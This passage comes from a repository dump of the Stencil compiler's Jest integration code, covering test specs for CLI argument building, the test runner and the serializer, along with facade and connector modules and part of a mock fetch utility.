['test', '--ci', '--e2e', '--max-workers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e', '--max-workers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  it('passes default --maxWorkers=0 arg when e2e test and --ci', () => {\n    const args = ['test', '--ci', '--e2e'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(0);\n  });\n\n  it('passed default --maxWorkers=0 arg when e2e test and --ci with filepath', () => {\n    const args = ['test', '--ci', '--e2e', '--', 'my-specfile.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e', '--', 'my-specfile.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['--', 'my-specfile.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(0);\n    expect(jestArgv._).toEqual(['my-specfile.spec.ts']);\n  });\n\n  it('pass --maxWorkers=2 arg to jest', () => {\n    const args = ['test', '--maxWorkers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--maxWorkers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  it('pass --ci arg to jest', () => {\n    const args = ['test', '--ci'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(config.maxConcurrentWorkers);\n  });\n\n  it('pass test spec arg to jest', () => {\n    const args = ['test', 'hello.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['hello.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['hello.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv._).toEqual(['hello.spec.ts']);\n  });\n\n  it('pass test config to jest', () => {\n    const args = ['test'];\n    const config = mockValidatedConfig({\n      testing: {\n        testMatch: ['hello.spec.ts'],\n      },\n    });\n    config.flags = parseFlags(args);\n\n    expect(config.flags.task).toBe('test');\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.testMatch).toEqual(['hello.spec.ts']);\n  });\n\n  it('set jestArgv config reporters', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({\n      rootDir,\n      testing: { reporters: ['default', ['jest-junit', { suiteName: 'jest tests' }]] },\n    });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.reporters).toHaveLength(2);\n    expect(parsedConfig.reporters[0]).toBe('default');\n    expect(parsedConfig.reporters[1][0]).toBe('jest-junit');\n    expect(parsedConfig.reporters[1][1].suiteName).toBe('jest tests');\n  });\n\n  it('set jestArgv config rootDir', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({ rootDir });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.rootDir).toBe(rootDir);\n  });\n\n  it('set jestArgv config collectCoverageFrom', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({ rootDir, testing: { collectCoverageFrom: ['**/*.+(ts|tsx)'] } });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.collectCoverageFrom).toHaveLength(1);\n    expect(parsedConfig.collectCoverageFrom![0]).toBe('**/*.+(ts|tsx)');\n  });\n\n  it('passed flags should be respected over defaults', () => {\n    const args = ['test', '--spec', '--passWithNoTests'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--spec', '--passWithNoTests']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.spec).toBe(true);\n    expect(jestArgv.passWithNoTests).toBe(true);\n  });\n\n  it('should parse a setup with a filepath constraint', () => {\n    const args = ['test', '--spec', '--json', '--', 'my-component.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--spec', '--json', '--', 'my-component.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['--', 'my-component.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.json).toBe(true);\n    // the `_` field holds any filename pattern matches\n    expect(jestArgv._).toEqual(['my-component.spec.ts']);\n  });\n\n  it('should parse multiple file patterns', () => {\n    const args = ['test', '--spec', '--json', '--', 'foobar/*', 'my-spec.ts'];\n    const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n    expect(jestArgv.json).toBe(true);\n    // the `_` field holds any filename pattern matches\n    expect(jestArgv._).toEqual(['foobar/*', 'my-spec.ts']);\n  });\n\n  describe('Jest aliases', () => {\n    it('should support the string Jest alias \"-w=4\" for maxWorkers', () => {\n      const args = ['test', '--spec', '-w=4'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.maxWorkers).toBe(4);\n    });\n\n    it('should support the string Jest alias \"-w 4\" for maxWorkers', () => {\n      const args = ['test', '--spec', '-w', '4'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.maxWorkers).toBe(4);\n    });\n\n    it('should support the string Jest alias \"-t\" for testNamePattern', () => {\n      const args = ['test', '--spec', '-t=my-test-pattern'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.testNamePattern).toBe('my-test-pattern');\n    });\n\n    it('should support the string Jest alias \"-t pattern\" for testNamePattern', () => {\n      const args = ['test', '--spec', '-t', 'my-test-pattern'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.testNamePattern).toBe('my-test-pattern');\n    });\n\n    it.each<[string, keyof Config.Argv]>([\n      ['b', 'bail'],\n      ['e', 'expand'],\n      ['o', 'onlyChanged'],\n      ['f', 'onlyFailures'],\n      ['i', 'runInBand'],\n      ['u', 'updateSnapshot'],\n    ])('should support the boolean Jest alias %p for %p', (alias, fullArgument) => {\n      const args = ['test', '--spec', `-${alias}`];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv[fullArgument]).toBe(true);\n    });\n  });\n\n  it('sets the default runner', () => {\n    const jestArgv = buildJestArgv(mockValidatedConfig());\n    const config = JSON.parse(jestArgv.config!);\n    expect(config.testRunner).toBe('jest-circus');\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-29/test/jest-preprocessor.spec.ts",
    "content": "import { shouldTransform } from '../jest-preprocessor';\n\ndescribe('jest preprocessor', () => {\n  it('shouldTransform', () => {\n    expect(shouldTransform('file.ts', '')).toBe(true);\n    expect(shouldTransform('file.d.ts', '')).toBe(true);\n    expect(shouldTransform('file.tsx', '')).toBe(true);\n    expect(shouldTransform('file.jsx', '')).toBe(true);\n    expect(shouldTransform('file.mjs', '')).toBe(true);\n    expect(shouldTransform('file.css', '')).toBe(true);\n    expect(shouldTransform('file.CsS', '')).toBe(true);\n    expect(shouldTransform('file.css?tag=my-cmp', '')).toBe(true);\n  });\n\n  it('shouldTransform js ext with es module imports/exports', () => {\n    expect(shouldTransform('file.js', 'import {} from \"./file\";')).toBe(true);\n    expect(shouldTransform('file.js', 'import.meta.url')).toBe(true);\n    expect(shouldTransform('file.js', 'export * from \"./file\";')).toBe(true);\n    expect(shouldTransform('file.js', 'console.log(\"hi\")')).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-29/test/jest-runner.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\n\nimport { ConfigFlags, createConfigFlags } from '../../../../cli/config-flags';\nimport { getEmulateConfigs, includeTestFile } from '../jest-runner';\n\ndescribe('jest-runner', () => {\n  it('should include for /path/prefix.spec.ts with --spec', () => {\n    const testPath = `/path/prefix.spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/spec.ts with --spec', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/prefix.e2e.ts with --e2e', () => {\n    const testPath = `/path/prefix.e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/e2e.ts with --e2e', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should not include for /path/spec.ts with no --spec', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {};\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/e2e.ts with no --e2e', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {};\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/e2e.ts with --spec', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/spec.ts with --e2e', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should use android userAgent from getEmulateConfigs', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ device: 'anDroiD' }, { device: 'iphone' }],\n    };\n    const flags: ConfigFlags = createConfigFlags({\n      emulate: 'Android',\n    });\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(1);\n    expect(emulateConfigs[0].device).toBe('anDroiD');\n  });\n\n  it('should use android user agent from getEmulateConfigs', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ userAgent: 'Mozilla/Android' }, { userAgent: 'SomeUserAgent/iPhone X' }],\n    };\n    const flags: ConfigFlags = createConfigFlags({\n      emulate: 'android',\n    });\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(1);\n    expect(emulateConfigs[0].userAgent).toBe('Mozilla/Android');\n  });\n\n  it('should use all configs from getEmulateConfigs by default', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ device: 'android' }, { device: 'iphone' }],\n    };\n    const flags: ConfigFlags = createConfigFlags();\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(2);\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-29/test/jest-serializer.spec.ts",
    "content": "import { MockDocument } from '@stencil/core/mock-doc';\n\nimport { HtmlSerializer } from '../jest-serializer';\n\ndescribe('serialize node', () => {\n  let doc: MockDocument;\n\n  beforeEach(() => {\n    doc = new MockDocument();\n    const div = doc.createElement('div');\n    div.innerText = 'Test';\n    doc.body.appendChild(div);\n  });\n\n  it('should be valid serializer', () => {\n    expect(HtmlSerializer.test(doc)).toBeTruthy();\n    expect(HtmlSerializer.test(doc.body)).toBeTruthy();\n  });\n\n  it('should generate serialized element', () => {\n    const result = HtmlSerializer.print(doc.body);\n    expect(result).toContain(`<div>`);\n  });\n\n  it('should serialize', () => {\n    expect.addSnapshotSerializer(HtmlSerializer);\n    expect(doc.body).toMatchSnapshot();\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-29/test/jest-setup-test-framework.spec.ts",
    "content": "import { MockHTMLElement, MockNode } from '@stencil/core/mock-doc';\n\nimport { removeDomNodes } from '../jest-setup-test-framework';\n\ndescribe('jest setup test framework', () => {\n  describe('removeDomNodes', () => {\n    it('removes all children of the parent node', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      parentNode.appendChild(new MockHTMLElement(null, 'p'));\n\n      expect(parentNode.childNodes.length).toEqual(1);\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes.length).toBe(0);\n    });\n\n    it('does nothing if there is no parent node', () => {\n      const parentNode: MockNode | undefined = undefined;\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode).toBeUndefined();\n    });\n\n    it('does nothing if the parent node child array is empty', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      parentNode.childNodes = [];\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes).toStrictEqual([]);\n    });\n\n    it('does nothing if the parent node child array is `null`', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      // the intent of this test is to guard against null-ish childNodes, hence the type assertion\n      parentNode.childNodes = null as unknown as MockNode[];\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes).toBe(null);\n    });\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-29/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/testing/jest/jest-apis.ts",
    "content": "/*!\n * This file contains Jest API usages for situations where it is difficult to determine which API should be used.\n *\n * An example of this is determining the version of Jest, which is retrieved via the `getVersion` API.\n * It's difficult at compile & runtime to determine:\n * 1. If such an API exists\n * 2. If it's typings are the same across all versions of Jest\n * 3. If there are variants of this API, which one to use and when\n *\n * Short of probing the directory where a user keeps their modules (e.g. `node_modules/`), we need to make a \"best\n * guess\" at things. This file is meant to only contain functions for these types of scenarios. It is expected that this\n * file be added to sparingly.\n */\n\nimport type { TransformedSource } from '@jest/transform';\nimport type { Config } from '@jest/types';\nimport * as d from '@stencil/core/internal';\nimport { getVersion } from 'jest';\n\n/**\n * For Stencil's purposes, an instance of a Jest/Puppeteer environment only needs to have a handful of functions.\n * This does not mean that Jest does not require additional functions on an environment. However, those requirements may\n * change from version-to-version of Jest. Stencil overrides the functions below, and with our current design of\n * integrating with Jest, require them to be overridden.\n */\nexport type JestPuppeteerEnvironment = {\n  setup(): Promise<void>;\n  teardown(): Promise<void>;\n  getVmContext(): any | null;\n};\n\n/**\n * Helper type for describing a function that returns a {@link JestPuppeteerEnvironment}.\n */\nexport type JestPuppeteerEnvironmentConstructor = new (...args: any[]) => JestPuppeteerEnvironment;\n\nexport type JestPreprocessor = {\n  process(sourceText: string, sourcePath: string, ...args: any[]): string | TransformedSource;\n  getCacheKey(sourceText: string, sourcePath: string, ...args: any[]): string;\n};\n\n/**\n * For Stencil's purposes, an instance of a Jest `TestRunner` only needs to have an async `runTests` function.\n * This does not mean that Jest does not require additional functions. However, those requirements may change from\n * version-to-version of Jest. Stencil overrides the `runTests` function, and with our current design of integrating\n * with Jest, require it to be overridden (for test filtering and supporting screenshot testing.\n */\nexport type JestTestRunner = {\n  runTests(...args: any[]): Promise<any>;\n};\n/**\n * Helper type for describing a function that returns a {@link JestTestRunner}.\n */\nexport type JestTestRunnerConstructor = new (...args: any[]) => JestTestRunner;\n\n/**\n * This type serves as an alias for a function that invokes the Jest CLI.\n *\n * This alias serves two purposes:\n * 1. It allows Stencil to have a single source of truth for the return type(s) on {@link JestFacade} (and its\n *    implementations)\n * 2. It prevents TypeScript from expanding Stencil type declarations in the generated `.d.ts` file. This is necessary\n *    as TypeScript will make assumptions about where it can dynamically resolve Stencil typings from, which are not\n *    always necessarily true when `tsconfig#paths` are used.\n */\nexport type JestCliRunner = (config: d.ValidatedConfig, e2eEnv: d.E2EProcessEnv) => Promise<boolean>;\n\n/**\n * This type serves as an alias for a function that invokes Stencil's Screenshot runner.\n *\n * This alias serves two purposes:\n * 1. It allows Stencil to have a single source of truth for the return type(s) on {@link JestFacade} (and its\n *    implementations)\n * 2. It prevents TypeScript from expanding Stencil type declarations in the generated `.d.ts` file. This is necessary\n *    as TypeScript will make assumptions about where it can dynamically resolve Stencil typings from, which are not\n *   always necessarily true when `tsconfig#paths` are used.\n */\nexport type JestScreenshotRunner = (config: d.ValidatedConfig, e2eEnv: d.E2EProcessEnv) => Promise<boolean>;\n\n/**\n * This type serves as an alias for the type representing the initial configuration for Jest.\n * This alias serves two purposes:\n * 1. It allows Stencil to have a single source of truth for the return type(s) on {@link JestFacade} (and its\n *    implementations)\n * 2. It prevents TypeScript from expanding Jest typings in the generated `.d.ts` file. This is necessary as TypeScript\n *    will make assumptions about where it can dynamically resolve Jest typings from, which do not necessarily hold\n *    true for every type of Stencil project directory structure.\n */\nexport type JestPresetConfig = Config.InitialOptions;\n\n/**\n * Get the current major version of Jest that Stencil reconciles\n *\n * @returns the major version of Jest.\n */\nexport const getJestMajorVersion = (): string => {\n  return getVersion();\n};\n"
  },
  {
    "path": "src/testing/jest/jest-facade.ts",
    "content": "import {\n  JestCliRunner,\n  JestPreprocessor,\n  JestPresetConfig,\n  JestPuppeteerEnvironmentConstructor,\n  JestScreenshotRunner,\n  JestTestRunnerConstructor,\n} from './jest-apis';\n\n/**\n * Interface for Jest-version specific code implementations that interact with Stencil.\n *\n * It is expected that there exists a Jest version-specific implementation for this interface in each version-specific\n * directory Stencil supports.\n */\nexport interface JestFacade {\n  /**\n   * Retrieve a function that invokes the Jest CLI.\n   *\n   * This function does not perform the invocation itself. Rather, it expects the caller to prepare a Stencil\n   * configuration object and environment for tests to run and invoke the returned value itself.\n   *\n   * @returns A function that invokes the Jest CLI.\n   */\n  getJestCliRunner(): JestCliRunner;\n\n  /**\n   * Retrieve a function that invokes Stencil's Screenshot runner.\n   *\n   * This function does not start screenshot tests themselves. Rather, it expects the caller to prepare a Stencil\n   * configuration object and environment for tests to run and invoke the screenshot runner itself.\n   *\n   * @returns A function that invokes the Screenshot runner.\n   */\n  getRunJestScreenshot(): JestScreenshotRunner;\n\n  /**\n   * Retrieve the default Jest runner name prescribed by Stencil.\n   *\n   * Examples of valid return values include 'jest-jasmine2' and 'jest-circus'.\n   *\n   * @returns the stringified name of the test runner, based on the currently detected version of Stencil\n   */\n  getDefaultJestRunner(): string;\n\n  /**\n   * Retrieve a function that builds an E2E (puppeteer) testing environment that uses Jest as its test runner.\n   *\n   * @returns A function that builds an E2E testing environment.\n   */\n  getCreateJestPuppeteerEnvironment(): () => JestPuppeteerEnvironmentConstructor;\n\n  /**\n   * Create an object used to transform files as a part of running Jest.\n   *\n   * The object returned by this function is expected to conform to the interface/guide laid out by Jest for\n   * [writing custom transformers](https://jestjs.io/docs/code-transformation#writing-custom-transformers).\n   *\n   * @returns the object used to transform files at test time\n   */\n  getJestPreprocessor(): JestPreprocessor;\n\n  /**\n   * Retrieve a function that returns the custom Stencil-Jest test runner\n   *\n   * @returns a function that retrieves the test runner\n   */\n  getCreateJestTestRunner(): () => JestTestRunnerConstructor;\n\n  /**\n   * Retrieve a function that returns the setup configuration code to run between tests.\n   *\n   * The value returned by said function is expected to be used in a\n   * [setupFilesAfterEnv](https://jestjs.io/docs/configuration#setupfilesafterenv-array) context.\n   *\n   * @returns a function that runs a setup configuration between tests.\n   */\n  getJestSetupTestFramework(): () => void;\n\n  /**\n   * Retrieve the Jest preset configuration object for configuring tests.\n   *\n   * The value returned by said function is expected to be used in a\n   * [preset](https://jestjs.io/docs/configuration#preset-string) context.\n   *\n   * @returns the Jest preset object to be used for a particular version of Jest.\n   */\n  getJestPreset(): JestPresetConfig;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-stencil-connector.ts",
    "content": "/*!\n * This file acts as the connector/bridge between Stencil and Jest.\n *\n * It defines/caches a `JestFacade` implementation to dispatch Jest-related configuration calls to the correct section\n * of the Stencil codebase.\n *\n * It contains the APIs that are designed to be used by the Jest pre-configurations supplied by Stencil.\n */\n\nimport semverMajor from 'semver/functions/major';\n\nimport { Jest27Stencil } from './jest-27-and-under/jest-facade';\nimport { Jest28Stencil } from './jest-28/jest-facade';\nimport { Jest29Stencil } from './jest-29/jest-facade';\nimport { getJestMajorVersion, JestCliRunner, JestPresetConfig, JestScreenshotRunner } from './jest-apis';\nimport { JestFacade } from './jest-facade';\n\n/**\n * Store a reference to the Jest version-specific facade implementation used to get pieces of testing infrastructure\n */\nlet JEST_STENCIL_FACADE: JestFacade | null = null;\n\n/**\n * Retrieve the numeric representation of the major version of Jest being used.\n *\n * If a user has Jest v27.1.0 installed, `27` will be returned.\n *\n * @returns the major version of Jest detected\n */\nexport const getVersion = (): number => {\n  return semverMajor(getJestMajorVersion());\n};\n\n/**\n * Retrieve the cached local variable containing a Jest facade implementation, based on the version of Jest detected.\n * If no Jest facade implementation is cached, set it.\n *\n * @returns the cached Jest facade implementation.\n */\nconst getJestFacade = (): JestFacade => {\n  if (!JEST_STENCIL_FACADE) {\n    const version = getVersion();\n    if (version <= 27) {\n      JEST_STENCIL_FACADE = new Jest27Stencil();\n    } else if (version === 28) {\n      JEST_STENCIL_FACADE = new Jest28Stencil() as JestFacade;\n    } else if (version === 29) {\n      JEST_STENCIL_FACADE = new Jest29Stencil() as JestFacade;\n    } else {\n      // in Stencil 4.X, defaulting to jest 27 infrastructure is the default behavior.\n      JEST_STENCIL_FACADE = new Jest27Stencil();\n    }\n  }\n\n  if (!JEST_STENCIL_FACADE) {\n    throw new Error('Stencil could not determine the Jest version being used.');\n  }\n\n  return JEST_STENCIL_FACADE;\n};\n\n/**\n * Retrieve the default Jest runner name prescribed by Stencil\n *\n * @returns the stringified name of the test runner, based on the currently detected version of Stencil\n */\nexport const getDefaultJestRunner = (): string => {\n  return getJestFacade().getDefaultJestRunner();\n};\n\n/**\n * Retrieve the Stencil-Jest test runner based on the version of Jest that's installed.\n *\n * @returns a test runner for Stencil tests, based on the version of Jest that's detected\n */\nexport const getRunner = (): JestCliRunner => {\n  return getJestFacade().getJestCliRunner();\n};\n\n/**\n * Retrieve the Stencil-Jest screenshot facade implementation based on the version of Jest that's installed.\n *\n * @returns a screenshot facade implementation for Stencil tests, based on the version of Jest that's detected\n */\nexport const getScreenshot = (): JestScreenshotRunner => {\n  return getJestFacade().getRunJestScreenshot();\n};\n\n/**\n * Retrieve the Jest-Puppeteer Environment, based on the version of Jest that is installed\n *\n * @returns a function capable of creating a Jest-Puppeteer environment\n */\nexport const getCreateJestPuppeteerEnvironment = () => {\n  return getJestFacade().getCreateJestPuppeteerEnvironment();\n};\n\n/**\n * Retrieve the Jest preprocessor, based on the version of Jest that is installed\n *\n * @returns a Jest preprocessor to transform code at test time\n */\nexport const getJestPreprocessor = () => {\n  return getJestFacade().getJestPreprocessor();\n};\n\n/**\n * Retrieve the Jest-Runner, based on the version of Jest that is installed\n *\n * @returns a function capable of creating a Jest test runner\n */\nexport const getCreateJestTestRunner = () => {\n  return getJestFacade().getCreateJestTestRunner();\n};\n\n/**\n * Retrieve the Jest-setup function, based on the version of Jest that is installed\n *\n * @returns a function capable of setting up Jest\n */\nexport const getJestSetupTestFramework = () => {\n  return getJestFacade().getJestSetupTestFramework();\n};\n\n/**\n * Retrieve Stencil's Jest presets for the detected version of Jest\n *\n * @returns an object representing a Jest preset\n */\nexport const getJestPreset = (): JestPresetConfig => {\n  return getJestFacade().getJestPreset();\n};\n"
  },
  {
    "path": "src/testing/jest/test/jest-stencil-connector.spec.ts",
    "content": "import * as JestVersion from '../jest-apis';\nimport { getDefaultJestRunner, getVersion } from '../jest-stencil-connector';\n\ndescribe('jest-stencil-connector', () => {\n  let getJestMajorVersionSpy: jest.SpyInstance<\n    ReturnType<typeof JestVersion.getJestMajorVersion>,\n    Parameters<typeof JestVersion.getJestMajorVersion>\n  >;\n\n  beforeEach(() => {\n    getJestMajorVersionSpy = jest.spyOn(JestVersion, 'getJestMajorVersion');\n  });\n\n  afterEach(() => {\n    getJestMajorVersionSpy.mockRestore();\n  });\n\n  describe('getVersion', () => {\n    it.each([\n      ['27.0.0', 27],\n      ['28.1.0', 28],\n      ['29.1.2', 29],\n      ['29.1.2-3', 29],\n      ['29.1.2-alpha.0', 29],\n      ['29.1.2-beta.1', 29],\n      ['29.1.2-rc.2', 29],\n    ])('transforms semver string %s into major version %d', (semverStr, majorVersion) => {\n      getJestMajorVersionSpy.mockImplementation(() => semverStr);\n      expect(getVersion()).toBe(majorVersion);\n    });\n  });\n\n  describe('getDefaultJestRunner()', () => {\n    it.each([\n      ['24.0.0', 'jest-jasmine2'],\n      ['25.0.0', 'jest-jasmine2'],\n      ['26.0.0', 'jest-jasmine2'],\n      ['27.0.0', 'jest-jasmine2'],\n      ['28.0.0', 'jest-jasmine2'],\n      ['29.0.0', 'jest-jasmine2'],\n      ['30.0.0', 'jest-jasmine2'],\n    ])('returns the correct module names for jest %s', (jestMajorVersion, runnerName) => {\n      getJestMajorVersionSpy.mockImplementation(() => jestMajorVersion);\n\n      expect(getDefaultJestRunner()).toEqual(runnerName);\n    });\n  });\n});\n"
  },
  {
    "path": "src/testing/mock-fetch.ts",
    "content": "import { MockHeaders, MockRequestInfo, MockResponse } from '@stencil/core/mock-doc';\n\nconst mockedResponses = new Map<string, MockedResponseData>();\n\nexport function setupMockFetch(global: any) {\n  const win = global.window;\n  if (!('fetch' in win)) {\n    win.fetch = function (input: MockRequestInfo) {\n      return globalMockFetch(input);\n    };\n  }\n  if (!('fetch' in global)) {\n    global.fetch = function (input: MockRequestInfo) {\n      return globalMockFetch(input);\n    };\n  }\n}\n\nasync function globalMockFetch(requestInput: MockRequestInfo) {\n  let requestUrl: string;\n  if (requestInput == null) {\n    throw new Error(`missing url input for mock fetch()`);\n  } else if (typeof requestInput === 'string') {\n    requestUrl = requestInput;\n  } else if (typeof requestInput.url === 'string') {\n    requestUrl = requestInput.url;\n  } else {\n    throw new Error(`invalid url for mock fetch()`);\n  }\n\n  requestUrl = new URL(requestUrl, location.href).href;\n\n  let mockedData = mockedResponses.get(requestUrl);\n  if (mockedData == null) {\n    const defaultUrl = new URL(FETCH_DEFAULT_PATH, location.href);\n    mockedData = mockedResponses.get(defaultUrl.href);\n  }\n\n  if (mockedData == null) {\n    return new MockResponse404();\n  }\n\n  const mockedResponse = mockedData.response.clone();\n\n  if (typeof mockedResponse.status !== 'number') {\n    mockedResponse.status = 200;\n  }\n\n  if (typeof mockedResponse.statusText !== 'string') {\n    if (mockedResponse.status >= 500) {\n      mockedResponse.statusText = 'Internal Server Error';\n    } else if (mockedResponse.status === 404) {\n      mockedResponse.statusText = 'Not Found';\n    } else if (mockedResponse.status >= 400) {\n      mockedResponse.statusText = 'Bad Request';\n    } else if (mockedResponse.status === 302) {\n      mockedResponse.statusText = 'Found';\n    } else if (mockedResponse.status === 301) {\n      mockedResponse.statusText = 'Moved Permanently';\n    } else if (mockedResponse.status >= 300) {\n      mockedResponse.statusText = 'Redirection';\n    } else {\n      mockedResponse.statusText = 'OK';\n    }\n  }\n\n  mockedResponse.ok = mockedResponse.status >= 200 && mockedResponse.status <= 299;\n\n  if (typeof mockedResponse.type !== 'string') {\n    mockedResponse.type = 'basic';\n  }\n\n  return mockedResponse;\n}\n\nfunction setMockedResponse(response: MockResponse, input: MockRequestInfo, reject: boolean) {\n  if (!response) {\n    throw new Error('MockResponse required');\n  }\n  if (typeof response.url !== 'string' || response.url === '') {\n    if (typeof input === 'string') {\n      response.url = input;\n    } else if (input && typeof input.url === 'string') {\n      response.url = input.url;\n    } else {\n      response.url = FETCH_DEFAULT_PATH;\n    }\n  }\n\n  const u = new URL(response.url, location.href);\n  response.url = u.href;\n\n  const mockedResponseData: MockedResponseData = {\n    response,\n    reject,\n  };\n\n  mockedResponses.set(response.url, mockedResponseData);\n}\n\nexport function mockFetchReset() {\n  mockedResponses.clear();\n}\n\nexport const mockFetch = {\n  json(data: any, url: string) {\n    const rsp = new MockResponse(JSON.stringify(data, null, 2), {\n      headers: new MockHeaders({\n        'Content-Type': 'application/json',\n      }),\n    });\n    setMockedResponse(rsp, url, false);\n  },\n\n  text(data: string, url: string) {\n    